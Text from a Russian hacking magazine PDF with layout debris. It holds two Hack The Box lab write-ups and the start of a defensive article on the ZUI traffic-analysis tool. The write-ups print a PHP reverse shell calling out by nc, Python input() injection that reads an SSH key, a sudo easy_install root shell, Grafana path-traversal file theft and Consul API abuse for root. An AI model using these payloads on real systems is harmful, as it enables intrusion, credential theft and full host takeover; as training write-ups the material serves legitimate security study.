книги хакеры / журнал хакер / ха-286_Optimized
.pdf
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
|
||
|
p |
df |
|
|
|
|
e |
|
|||
|
-x |
|
|
g |
|
|
|
||||
|
|
|
n |
|
|
|
|
||||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
ЭКСПЛУАТИРУЕМ
RACE CONDITION
ПРИ АТАКЕ НА ВЕБ-СЕРВЕР
В этом райтапе |
я |
подробно |
покажу, |
|
как искать скрытые |
данные |
на |
сайте , |
|
затем покопаемся |
|
в его |
исходниках |
иполучим RCE при эксплу ата ции Race Condition. Для полного захвата хоста используем ошибку в программе на Python
иприменим одну из техник GTFOBins.
RalfHacker hackerralf8@gmail.com
Наша цель — захватить учебную машину UpDown с площад ки Hack The Box. Уровень сложности отмечен как средний .
Подклю чать ся к машинам с HTB рекомендует ся только через VPN. Не делай этого с компьюте ров , где есть важные для тебя данные , так как ты ока жешься в общей сети с другими участни ками .
РАЗВЕДКА Сканирование портов
Добав ляем IP-адрес машины в /etc/hosts:
10.10.11.177 updown.htb
И запускаем сканиро вание портов .
Сканиро вание портов — стандар тный первый шаг при любой атаке . Он поз воляет атакующе му узнать, какие службы на хосте принима ют соединение . На основе этой информации выбирается следующий шаг к получению точки входа .
Наибо лее известный инстру мент для сканиро вания — это Nmap. Улучшить результаты его работы ты можешь при помощи следующе го скрипта :
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f
1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действу ет в два этапа . На первом произво дит ся обычное быстрое сканиро вание, на втором — более тщатель ное сканиро вание , с использовани ем име ющихся скриптов (опция -A).
Резуль тат работы скрипта
Мы нашли два открытых порта : 22 — служба OpenSSH 8.2p1 и 80 — веб сер вер Apache 2.4.41. На веб сервере нас встречает чекер сайтов .
Главная страница сайта updown.htb
Главная страница раскры вает нам реальный домен — siteisup.htb. Поэтому добавляем запись в файл /etc/hosts:
10.10.11.177 updown.htb siteisup.htb
Затем я попытался послать запрос на свой простень кий HTTP-сервер , который можно запустить командой python3 -m http.server 80. В итоге я получил ответ, содержащий страницу HTML в тексто вом виде, а в логах своего сервера увидел следующий GET-запрос .
Резуль тат провер ки хоста
На сайте больше ничего интерес ного найти не удалось , поэтому приступим к сканиро ванию.
Одно из первых действий при тестирова нии безопасности веб приложе ния — это сканиро вание методом перебора каталогов , чтобы найти скрытую информацию и недоступные обычным посетителям функции . Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый fuf. При запуске указыва ем сле дующие параметры :
•-w — словарь (я использую словари из набора SecLists);
•-t — количество потоков;
•-u — URL.
Запус каем ffuf:
ffuf -u 'http://siteisup.htb/FUZZ' -w directory_2.3_medium_
lowercase.txt -t 256
Резуль тат сканиро вания каталогов с помощью fuf
Находим интерес ный каталог dev и повторя ем сканиро вание уже в нем.
ffuf -u 'http://siteisup.htb/dev/FUZZ' -w files_interesting.txt -t
256
Резуль тат сканиро вания файлов с помощью fuf
И обнаружи ваем репозиторий Git, а это явная точка входа .
ТОЧКА ВХОДА
Теперь нам нужно сдампить найден ный репозиторий , для чего есть набор скриптов dvcs-ripper или специаль ное средство git-dumper. На этот раз восполь зуемся вторым .
git-dumper http://siteisup.htb/dev/ dev
После загрузки репозитория нужно исследовать не только исходный код, но и внесен ные изменения . Для удобства представ ления я использую программу gitk, которую надо открыть из директории , где расположен каталог .git.
Представ ление репозитория в gitk
В репозитории находим файл admin.php, который отсутству ет на самом сайте , а это значит , что нам нужно найти новый сайт. Для этого с помощью fuf прос канируем поддомены . При запуске добавим параметр -H — заголовок HTTP.
ffuf -u http://siteisup.htb/ -t 256 -w subdomains-top1million-
110000.txt -H 'Host: FUZZ.siteisup.htb'
Резуль тат сканиро вания поддоменов с помощью fuf
Находим поддомен dev и добавляем его в файл /etc/hosts.
10.10.11.177 updown.htb siteisup.htb dev.siteisup.htb
Но к сайту нет доступа .
Ошибка при обращении к сайту
Тогда возвра щаемся к репозиторию и находим там файл .htaccess, который и содержит правила доступа .
Содер жимое файла .htaccess
В файле видим запись Special-Dev "only4dev" Required-Header — обя
зательный HTTP-заголовок Special-Dev со значени ем only4dev. Так как всю работу я провожу через Burp Proxy, то у меня есть возможность автомати чес ки встраивать заголовок во все запросы . Для этого нужно перейти к вкладке Options и найти раздел Match and Replace, где и создаем новое правило замены.
Создание нового правила замены в Burp Proxy
После примене ния созданно го правила обновляем страницу и получаем тот же сайт, но с возможностью загрузки файла .
Главная страница сайта dev.updown.htb
Возвра щаем ся к исходному коду и находим правило провер ки типа и формата загружа емо го файла .
Содер жимое файла checker.php
Так, у загружа емого файла просто проверя ется расширение — сравнива ется с теми, что есть в черном списке . Вот только в списке нет расширения .phar, которое исполняется так же, как и .php. В дополнение к этому мы узнаем и путь загружа емых файлов .
Содер жимое файла checker.php
Файлы загружа ются в каталог /uploads/.md5(time())/, затем из каждой строки извлекает ся адрес сайта , выполняет ся запрос , и после провер ки всех сайтов файл удаляет ся . Таким образом , мы можем загрузить файл, содер жащий код на PHP, и успеть его выполнить до удаления !
Продолжение статьи →
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
g |
|
|||
|
p |
|
|
c |
|
|
|
|
|
||
|
|
df |
-x |
|
n |
|
|
|
|
||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
||||
← НАЧАЛО СТАТЬИ w. |
|
|
BUY |
|
|
|||||
|
to |
|
|
|
.co |
|
||||
|
|
|
|
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
m |
|||
|
|
|
|
|
|
|
||||
w |
|
|
|
|
|
|
|
|
|
|
|
p |
|
|
c |
|
g |
|
|
|
|
|
|
df |
|
n |
e |
|
||||
|
|
|
-x ha |
|
|
|
|
|
ЭКСПЛУАТИРУЕМ
RACE CONDITION
ПРИ АТАКЕ НА ВЕБ-СЕРВЕР
ТОЧКА ОПОРЫ
Так как сайты в загружа емом файле должны быть разные , чтобы проверя лись все, я решил создать список при помощи генера тора случай ных адресов . Записываем в файл сто разных ссылок и код на PHP, выводящий phpinfo():
http://site1.qw
....
<?php phpinfo(); ?>
Загружа ем его на сайт и переходим к каталогу uploads. Мы можем пос мотреть его содержимое .
Содер жимое каталога uploads
Видим вложен ный каталог, название которого — это результат выполнения функции хеширования MD5. То, что нужно , заходим в него.
Загружен ный файл PHAR
Там лежит наш файл PHAR. Выбираем его и вниматель но просматри ваем . Нас интересу ют отключен ные функции PHP, так как большинс тво из них и дают нам право выполнения команд в командной оболоч ке .
Страница phpinfo
Много нужных функций отключено , но там нет proc_open, которая позволя ет выполнять произволь ные системные команды . Подробнее с ней можно озна комиться в официаль ном руководстве . Я же приведу пример реверс шелла на PHP с использовани ем этой функции .
<?php
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "/tmp/error-output.txt", "a")
);
$process = proc_open('sh', $descriptorspec, $pipes, $cwd, $env);
if (is_resource($process)) {
fwrite($pipes[0], 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&
1|nc 10.10.14.31 4321 >/tmp/f');
fclose($pipes[0]);
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
$return_value = proc_close($process);
echo "command returned $return_value\n";
}
?>
Запус каем листенер (я использую pwncat-cs), создаем новый файл PHAR и повторя ем все перечисленные выше действия . Так мы получаем сессию от имени веб сервера на целевом хосте .
Сессия пользовате ля www-data
ПРОДВИЖЕНИЕ
Теперь , когда мы получили доступ к хосту , нам необходимо собрать информа цию. Как обычно , мне в этом помогают скрипты PEASS.
Что делать после того, как мы получили доступ в систему от имени пользовате ля? Вариантов дальнейшей эксплу атации и повышения привиле гий может быть очень много , как в Linux, так и в Windows. Чтобы собрать информацию
и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов , которые проверя ют систему на автомате .
В этот раз скрипт показал, что нам доступны какие то файлы в домашнем каталоге другого пользовате ля , при этом один из файлов — исполняемый с установ ленным S-битом.
Список файлов в домашних каталогах других пользовате лей
Файлы с установ ленным S-битом
Когда у файла установ лен атрибут setuid (S-атрибут ), обычный пользователь , запускающий этот файл, получает повышение прав до пользовате ля — вла дельца файла в рамках запущенного процес са . После получения повышенных прав приложе ние может выполнять задачи, которые недоступны обычному пользовате лю . Из за возможнос ти состояния гонки многие операци онные сис темы игнориру ют S-атрибут , установ ленный shell-скриптам .
Файл /home/developer/dev/siteisup доступен группе www-data, но будет работать в контек сте пользовате ля developer. Если запустить файл, он зап росит у нас URL и скажет , работает сайт или нет. Я решил просмотреть строки в файле .
Строки в файле siteisup
Этот файл запускает скрипт siteisup_test.py, который запрашива ет URL с помощью функции input(). Дело в том, что эта функция в Python 2 может выполнять код! То есть вместо URL мы можем ввести код, импортирующий модуль OS и читающий приват ный ключ SSH.
__import__('os').system('cat /home/developer/.ssh/id_rsa')
Выпол нение кода через функцию input
С ключом SSH подклю чаем ся к хосту и забираем первый флаг.
Флаг пользовате ля
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Информа цию о системе мы уже собирали , поэтому проверим настрой ки, которые отличают ся у разных пользовате лей. И одна из первых вещей, которые нужно проверить , — это sudoers.
Файл /etc/sudoers в Linux содержит списки команд, которые разные группы пользовате лей могут выполнять от имени админис тра тора системы . Можно просмотреть его как напрямую , так и при помощи команды sudo -l.
Настрой ки sudoers
Оказыва ется , мы можем выполнить вот такую команду от имени пользовате ля root без ввода пароля (NOPASSWD):
/usr/local/bin/easy_install
Easy Install — это модуль Python из библиоте ки setuptools, которая позволя ет автомати чески загружать , собирать и устанав ливать пакеты. А самое замеча
тельное — то, что easy_install есть в базе GTFOBins.
GTFOBins — это список исполняемых файлов Unix, которые можно исполь зовать для обхода локальных ограниче ний безопасности в неправиль но нас троенных системах . Проект собирает законные функции двоичных файлов Unix, которыми можно злоупот реблять , чтобы получить доступ к командным оболоч кам, повысить привиле гии или передать файлы .
Описание эксплу ата ции easy_install при sudo
Так что мы можем просто ввести приведен ную команду и получить командную оболоч ку в привиле гиро ван ном контек сте .
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(
tty) 2>$(tty)')" > $TF/setup.py
sudo /usr/local/bin/easy_install $TF
Флаг рута
Машина захвачена !
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
|
||||
w Click |
|
BUY |
|
m |
ВЗЛОМ |
|||||||
to |
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
|
.c |
|
|
||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
|
df |
-x |
|
n |
e |
|
|
|||
|
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ПОВЫШАЕМ ПРИВИЛЕГИИ ЧЕРЕЗ CONSUL
В этом райтапе я покажу, как читать файлы из Grafana, затем мы поработаем с базой данных для получения доступа к хосту и повысим привиле гии через Consul.
RalfHacker hackerralf8@gmail.com
Упражнять ся будем на учебной машине Ambassador с площад ки Hack The Box. Уровень сложности — средний .
Подклю чать ся к машинам с HTB рекомендует ся только через VPN. Не делай этого с компьюте ров , где есть важные для тебя данные , так как ты ока жешься в общей сети с другими участни ками .
РАЗВЕДКА Сканирование портов
Добав ляем IP-адрес машины в /etc/hosts:
10.10.11.183 ambassador.htb
И запускаем сканиро вание портов .
Сканиро вание портов — стандар тный первый шаг при любой атаке . Он поз воляет атакующе му узнать, какие службы на хосте принима ют соединение . На основе этой информации выбирается следующий шаг к получению точки входа .
Наибо лее известный инстру мент для сканиро вания — это Nmap. Улучшить результаты его работы ты можешь при помощи следующе го скрипта :
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f
1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действу ет в два этапа . На первом произво дит ся обычное быстрое сканиро вание, на втором — более тщатель ное сканиро вание , с использовани ем име ющихся скриптов (опция -A).
Резуль тат работы скрипта
Сканиро вание показало несколь ко открытых портов :
•22 — служба OpenSSH 8.2p1;
•80 — веб сервер Apache 2.4.41;
•3000 — не определен ный веб сервер ;
•3306 — служба MySQL 8.0.30.
Первым делом посмотрим на сайты .
Главная страница http://ambassador.htb/
В первом же посте находим информацию о том, как подклю чать ся к серверу
по SSH, и получаем имя пользовате ля — developer. Также узнаем , что можем где то найти пароль.
Информа ция про сервер разработ ки
На втором сайте нас встречает форма авториза ции Grafana.
Главная страница http://ambassador.htb:3000/
ТОЧКА ВХОДА
Grafana — система визуали зации данных , ориенти рован ная на системы ИТ мониторин га . Пользовате лю предос тавля ются диаграммы , графики и таб лицы с разными показателя ми . На странице авториза ции мы можем увидеть версию платформы — 8.2.0.
Первым делом стоит проверить , есть ли для обнаружен ной версии готовые экспло иты. Искать нужно в базах вроде HackerOne и exploit-db, а также стоит заглянуть на GitHub. Так, по запросу «grafana v8.2.0 (d7f71e9eae) exploit» мы сразу узнаем , что в этой версии есть уязвимость с идентифика тором CVE.
Поиск экспло итов с помощью Google
Уязвимость заключа ется в том, что возможен обход каталогов и как резуль тат — доступ к произволь ным локальным файлам . Причина появления этой уязвимос ти — неправиль но реализован ная функция подклю чения модулей.
Дальнейший поиск на GitHub приводит нас к рабоче му экспло иту, которому в качестве параметра нужно передать только URL системы мониторин га.
Справка по экспло иту
В качестве теста пробуем прочитать файл /etc/passwd.
Содер жимое файла /etc/passwd
Среди пользовате лей обнаружим отмечен ного ранее пользовате ля developer.
ТОЧКА ОПОРЫ
Первым делом сразу попытаемся прочитать приват ный SSH-ключ /home/ developer/.ssh/id_rsa.
Чтение файла id_rsa
Такого файла не существу ет , поэтому нужно поискать другие варианты . К при меру, файл конфигура ций Grafana /etc/grafana/grafana.ini, который дол жен содержать учетные данные админис тра тора .
Содер жимое файла grafana.ini
С полученными учетными данными мы легко авторизу емся через веб интерфейс.
Панель админис тра тора Grafana
ПРОДВИЖЕНИЕ
Продвига ясь дальше , получим файл базы данных grafana.
curl --path-as-is http://ambassador.htb:3000/public/plugins/
alertlist/../../../../../../../../var/lib/grafana/grafana.db -o
grafana.db
Я просматри ваю такие файлы в DB Browser. Там находим таблицу
data_source, из столбца password которой получаем пароль для подклю чения к базе данных grafana.
Данные в файле grafana.db
Разделение доступа к разным базам данных в СУБД может быть не настро ено, и можно будет получить данные из других баз, а не только из grafana. Под ключаем ся и просматри ваем существу ющие базы данных .
mysql -h ambassador.htb -u grafana -p'dontStandSoCloseToMe63221!'
show databases;
Базы данных
Видим базу данных whackywidget, которая не является служеб ной . Выбираем ее для работы и получаем список таблиц .
use whackywidget;
show tables;
Таблицы в базе данных whackywidget
Таблица здесь всего одна, причем очень интерес ная. Запросим ее содер жимое.
select * from users;
Содер жимое таблицы users
Получа ем закодирован ный в Base64 пароль локального пользовате ля developer.
echo YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== | base64 -d
Декоди рова ние пароля из базы
С полученным паролем авторизу емся по SSH и забираем первый флаг.
Флаг пользовате ля
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Получив доступ к хосту , мы первым делом должны собрать информацию . Я, как обычно , восполь зуюсь набором скриптов PEASS.
Что делать после того, как мы получили доступ в систему от имени пользовате ля? Вариантов дальнейшей эксплу атации и повышения привиле гий может быть очень много , как в Linux, так и в Windows. Чтобы собрать информацию
и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов , которые проверя ют систему на автомате .
Загрузим скрипт для Linux на удален ный хост, дадим право на выполнение
и запустим . Теперь следует отобрать важную информацию , которую подсве тит скрипт.
Во первых , в каталоге /opt есть два проекта , один из которых называется consul.
Содер жимое каталога consul
На хосте для локального адреса открыт порт 8500, что типично для Consul.
Список открытых портов
HashiCorp Consul — это опенсор сный инстру мент , который облегчает раз работчикам организа цию взаимо дей ствия между сервисами , управление кон фигурацией и сегмента цию сети. Consul умеет находить сервисы и проверять
их работоспособ ность , балансировать нагрузку и показывать наглядные гра фики. Также у него есть возможность хранить ключи авториза ции .
Нам нужно найти , где в системе использует ся Consul. Для этого анализи руем обнаружен ный проект в каталоге /opt/.
Содер жимое каталога /opt
Это репозиторий Git, поэтому мы можем посмотреть историю изменений , выполнив команду git show внутри каталога .
История изменений кода в проекте
И наконец, находим команду consul, которая применя ется для экспорта пароля MySQL. Здесь нужно обратить внимание на то, что мы нашли токен и теперь сможем работать с Consul API. Опираясь на публикацию в блоге Wallarm, мы можем получить выполнение кода с помощью Consul API в контек сте работы службы . А так как Consul работает от имени рута, это повышение привиле гий в системе .
Для эксплу ата ции нам нужно использовать API /agent/check/register со следующи ми параметрами .
{
"ID": "ralf",
"Name": "ralf",
"Address": "127.0.0.1",
"Port": 80,
"check": {
"Args": ["/bin/bash", "/tmp/lpe.sh"],
"interval": "10s",
"timeout": "1s"
}
}
Таким образом мы запустим скрипт /tmp/lpe.sh в Bash. Внутри скрипта прос то присвоим S-бит файлу командной оболоч ки : chmod u+s /usr/bin/bash. Выполняем запрос к API с помощью curl:
curl --header "X-Consul-Token:
bb03b43b-1a81-d62b-24b5-39540ee469b5" --request PUT -d '{"ID":
"ralf", "Name": "ralf", "Address": "127.0.0.1", "Port": 80,
"check": {"Args": ["/bin/bash", "/tmp/lpe.sh"], "interval":
"10s", "timeout": "1s"}}' http://127.0.0.1:8500/v1/agent/service/
register
Затем проверим файл /bin/bash и увидим поставлен ный нами S-бит.
Права файла /bin/bash
Когда у файла установ лен атрибут setuid (S-атрибут ), обычный пользователь , запускающий этот файл, получает повышение прав до пользовате ля — вла дельца файла в рамках запущенного процес са . После получения повышенных прав приложе ние может выполнять задачи, которые недоступны обычному пользовате лю . Из за возможнос ти состояния гонки многие операци онные сис темы игнориру ют S-атрибут , установ ленный shell-скриптам .
Запус тив /bin/bash -p, мы получим привиле гиро ван ный шелл.
Флаг рута
Машина захвачена !
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
c |
|
o m |
АДМИН |
||||
|
|
|
|
|
|
|||||
|
|
|
to |
BUY |
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|
||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
АНАЛИЗИРУЕМ ТРАФИК С ПОМОЩЬЮ НОВОГО БЫСТРОГО ИНСТРУМЕНТА
Для анализа сетевого трафика чаще всего выбирают Wireshark. Тут тебе и фильтры ,
ихороший интерфейс, и документация ,
иподробней ший вывод о каждом пакете. Но у этого инстру мен та есть недостатки , главный из которых — медлитель ность
при анализе больших дампов . Я расска жу об опенсор сном приложе нии ZUI, которое может стать надежным помощником в ана лизе трафика .
Михаил Онищенко tofolt@icloud.com
Zed User Interface (ранее Brim), первая версия которого стала доступна комь юнити ИБ в 2018 году, разработан с помощью Electron и React. Внутри же использует ся движок ZED, а он, в свою очередь , написан на Go и состоит
из несколь ких элемен тов:
•Zed data model — общее название для лежащих в основе проекта типов данных и семантики ;
•Zed lake — коллекция выборочно индексирован ных данных Zed;
•Zed language — язык для выполнения запросов , поиска , аналити ки;
•Zed shaper — модуль, который приводит входные данные к формату Zed data model;
• Zed formats — семейство последова тельных (ZNG), столбцо вых (ZST)
и человекочи таемых (ZSON) форматов ;
•Zed query — скрипт, который выполняет поиск и аналити ку;
•Zeek и Suricata — сигнатур ные системы (intrusion detection systems).
Главные отличия ZUI от Wireshark — это скорость работы, поддер жка сигнатур и анализа логов. Из минусов можно отметить невозможность декодировать пакеты и экспортировать найден ные в трафике файлы .
Все это можно не считать реальными минусами , потому что любой найден ный поток данных в ZUI открывает ся одним нажатием кнопки в Wireshark, где отобража ется вся недостающая информа ция.
СКОРОСТЬ
Изначаль но ZUI назывался Brim и специали зировался исключитель но на ана лизе сетевого трафика и логов. Но из за универ сальности движка ZED он начал развивать ся и в других направле ниях, а именно в сторону аналити ки данных .
Идея движка ZED, который позволя ет ZUI обрабаты вать файлы PCAP нам ного быстрее Wireshark, состоит в том, чтобы избавить ся от концепции таблиц из базовой модели данных . Их заменили современ ной системой типов, при которой каждое значение может иметь свой тип независимо от составной схемы , как это сейчас реализова но в старых моделях. Получается , ZED — и не полуструк турированный, и не табличный . Создатели называют такую кон цепцию суперструк турированной.
Основатель компании Brim, разработ чика ZUI, — это не кто иной, как Стив Маккейн , создатель формата PCAP, BPF и соавтор tcpdump.
Для примера можно привес ти формат из Zed data model под названи ем ZSON. Это привыч ный нам JSON с собствен ными типами значений .
Этих знаний нам хватит , чтобы использовать ZUI в его самом интерес ном для нас варианте примене ния — анализе трафика .
Схема работы
УСТАНОВКА
Linux
Для установ ки ZUI в Linux используй следующие команды :
wget "https://github.com/brimdata/brim/releases/download/v0.31.0/
Brim-0.31.0.deb"
sudo chmod +x ./Brim-0.31.0.deb; apt install ./Brim-0.31.0.deb
Обязатель но поменяй версию приложе ния в команде , чтобы пользовать ся самым новым релизом.
Windows и macOS
Для них суть та же: достаточ но скачать с официаль ного сайта приложе ния уста новщик и запустить его.
ИНТЕРФЕЙС
Сначала полюбуемся минималис тичным UI и увидим , насколь ко он хорошо организо ван . На вход программы можно подавать JSON, CSV, ZSON, ZNG и файлы других форматов , но нам интерес нее всего скормить ZUI файл PCAP или структуриро ван ный лог, например Zeek log.
Главная страница утилиты
Как только ты откроешь файл PCAP в ZUI, он тут же пройдет ся по нему движ ками Zeek и Suricata, после чего отобразит все находки , а также подтянет ссылки на найден ные хеши с VirusTotal. Ну что сказать , круто !
Pool — это место , где хранит ся преобра зован ный PCAP. Ты можешь заг ружать сразу несколь ко файлов в один pool, и все данные из них будут дос тупны в одной строке поиска . На таймлай не можно выбрать диапазон времени , который сейчас требует ся изучить . В деталях можно посмотреть самую ценную информацию , этакие поля корреляции .
Мне показалась особен но интерес ной фича с небольшой диаграм мкой вза имодей ствия двух хостов . Она отобража ется, если открыть лог с зеленым тегом conn. Также весьма полезна кнопка открытия потока данных в Wireshark, но о ней уже было сказано выше.
Неболь шая диаграмма взаимо дей ствия хостов
ПРИМЕНЯЕМ ZUI НА ПРАКТИКЕ И ПИШЕМ ЗАПРОСЫ
Начать стоит с того, что писать запросы с помощью ZQL query совсем не труд но. Достаточ но просто найти в логах нужные поля и отфильтро вать по ним логи. Строка запроса будет обрастать новыми и новыми условиями поиска . Лично я постоян но забываю, как находить ту или иную информацию с помощью филь
тров Wireshark.
Создание фильтру юще го правила с помощью выбора полей
Я подготовил для тебя примеры запросов поиска , которые покроют основные юзкейсы при работе с ZUI.
Количес тво каждой категории тегов:
count() by _path | sort -r
Все уникаль ные DNS queries:
_path=="dns" | count() by query | sort -r
SMB- и RPC-трафик в системах Windows:
_path matches smb* OR _path=="dce_rpc"
HTTP-запросы и фильтра ция самых полезных колонок:
_path=="http" | cut id.orig_h, id.resp_h, id.resp_p, method, host,
uri | uniq -c
Уникаль ные коннекты и их количество :
_path=="conn" | cut id.orig_h, id.resp_p, id.resp_h | sort | uniq
Количес тво переданных байтов на один коннект :
_path=="conn" | put total_bytes := orig_bytes + resp_bytes | sort
-r total_bytes | cut uid, id, orig_bytes, resp_bytes, total_bytes
Поиск передаваемых файлов :
filename!=null | cut _path, tx_hosts, rx_hosts, conn_uids, mime_
type, filename, md5, sha1
Все запросы HTTP Post:
method=="POST" | cut ts, uid, id, method, uri, status_code
Все IP-подсети :
_path=="conn" | put classnet := network_of(id.resp_h) | cut
classnet | count() by classnet | sort -r
Ну и в завершение парада самые, на мой взгляд, классные . Демонс тра ция всех срабаты ваний сигнатур Suricata и их количество :
event_type=="alert" | count() by alert.severity,alert.category |
sort count
Демонс тра ция |
всех срабаты |
ваний |
сигнатур |
Suricata, отфильтро ван ных |
по Source IP и Destination IP: |
|
|
|
event_type=="alert" | alerts := union(alert.category) by src_ip,
dest_ip
СПИДРАН ПО ПОИСКУ EMOTET C2
Впервые Emotet обнаружи ли в 2014 году, и тогда исследова тели безопасности классифици ровали его как банков ский троян . Emotet в свое время вызвал целую эпидемию и успел серьезно навредить многим пользовате лям. Однако позже этот трой мутировал в дроппер и начал продавать ся в даркне те по прин ципу CaaS (Cybercrime as a Service). Новой функци ей малвари стала загрузка другого вредонос ного ПО в систему жертвы .
Одним из распростра няемых Emotet’ом вредоно сов был банков ский троян TrickBot. Эту связку мы сейчас и найдем с помощью ZUI.
